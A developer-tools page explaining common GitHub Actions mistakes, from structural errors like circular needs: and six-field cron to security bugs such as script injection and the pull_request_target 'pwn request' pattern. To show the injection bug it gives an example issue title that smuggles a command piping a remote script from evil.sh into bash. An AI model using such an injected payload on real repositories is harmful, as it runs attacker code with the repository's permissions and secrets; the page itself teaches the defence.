DevTools Hub

Search tools

Search for a developer tool

Common GitHub Actions Errors

Part of the GitHub Actions Toolkit

Some of these fail loudly the moment a workflow runs. Others are worse: they parse fine, run fine, and just quietly don't do what you think — sometimes for months, sometimes with real security consequences. Both kinds are below.

Missing a top-level on:

A workflow file with no on: at all has no trigger — nothing ever runs it. Easy to lose entirely while restructuring a file, and there's no local syntax error to catch it; the YAML is perfectly valid, the workflow just never fires.

A job with both uses: and runs-on:/steps:

jobs:
  call-reusable:
    uses: ./.github/workflows/shared.yml
    runs-on: ubuntu-latest   # invalid alongside "uses"
    steps: [...]             # invalid alongside "uses"

A job is either a call to a reusable workflow (uses:) or a regular job with its own steps (runs-on: + steps:) — never both. A common way to hit this: copying an existing job as a starting point for a reusable-workflow call and not deleting the fields that came with it.

A step with both uses: and run:, or neither

Same shape, one level down — a step runs a prebuilt action (uses:) or a shell command (run:), never both and never neither. The "neither" version usually comes from an incomplete copy-paste — a step block with just a name: and nothing telling it what to actually do.

Referencing needs.X.outputs without listing X in needs:

jobs:
  build:
    outputs:
      version: ${{ steps.get-version.outputs.version }}
    ...
  deploy:
    # no "needs: build" here
    steps:
      - run: echo "${{ needs.build.outputs.version }}"

Without needs: build, deploy isn't guaranteed to start after build finishes — it might run in parallel, before build has produced that output at all. The expression doesn't error; it just resolves to an empty string. This is a scheduling bug wearing a syntax-error costume — the fix is adding build to deploy's needs: list, not touching the expression itself.

A circular needs: dependency

Job A needs B, B needs C, C needs A — GitHub can't compute a valid execution order for that graph and rejects the workflow outright. Easy to introduce by adding a dependency to an existing job without checking whether something downstream of it already depends on this one.

Duplicate step id within a job

Step ids only need to be unique within their own job, but a duplicate inside one job means steps.that-id.outputs becomes ambiguous — later tooling and expressions can only see one of the two steps under that name, not both.

A schedule cron with the wrong number of fields

on:
  schedule:
    - cron: "0 0 * * MON"   # 5 fields — correct
    - cron: "0 0 0 * * MON" # 6 fields — rejected

GitHub Actions' schedule trigger always uses standard 5-field cron (minute, hour, day-of-month, month, day-of-week) — no seconds field, unlike some other cron dialects. A 6-field expression copied from a tool that does support seconds gets rejected.

Interpolating untrusted event data directly into run:

- run: |
    echo "Processing: ${{ github.event.issue.title }}"

An issue or PR title, body, or comment is text an external user fully controls. Interpolated directly into a shell script like this, a title such as "; curl evil.sh | bash #" breaks out of its string context and runs as real shell — the classic GitHub Actions script-injection bug, and the root cause behind several real supply-chain incidents. The fix is passing it through env: and referencing it as a shell variable instead, which the shell never re-parses:

- env:
    TITLE: ${{ github.event.issue.title }}
  run: echo "Processing: $TITLE"

Checking out a PR's head ref under pull_request_target

pull_request_target (unlike plain pull_request) runs with the base repository's permissions and secrets, even for a PR from an untrusted fork — that's the whole point of the trigger. Checking out the PR's own head ref inside that context and then running anything from it (tests, a build script) hands an attacker-controlled PR your repository's elevated permissions — the "pwn request" pattern. Only check out the head ref for strictly read-only steps that never execute the checked-out code and never touch secrets.

Relying on ::set-output:: — it's done nothing since 2023

- run: echo "::set-output name=version::1.2.3"

GitHub removed the ::set-output:: and ::save-state:: workflow commands in 2023. This one is uniquely dangerous because it fails silently — no error, no warning, the line just echoes as plain log text and the output is never set. Old workflows (or old tutorials, or old copy-pasted snippets) using this pattern look fine right up until something downstream depends on the output that was never actually written. The replacement writes to the $GITHUB_OUTPUT file directly:

- run: echo "version=1.2.3" >> "$GITHUB_OUTPUT"

An action reference with no @ref at all

- uses: actions/checkout   # missing @ref entirely

Distinct from the (also worth fixing) case of pinning to a mutable tag instead of a commit SHA — this is simpler and harder: no @ at all means GitHub can't resolve which version to run, and the workflow fails outright. For the SHA-pinning security argument specifically, see GitHub Actions Best Practices.

Try it yourself

GitHub Actions Validator catches the structural mistakes above — mutually exclusive fields, broken needs: references, circular dependencies, malformed cron — before you push. GitHub Actions Linter catches the security-shaped ones: script injection, the pwn-request pattern, the removed and deprecated workflow commands, and hardcoded-looking credentials. Both run entirely in your browser.

Related tools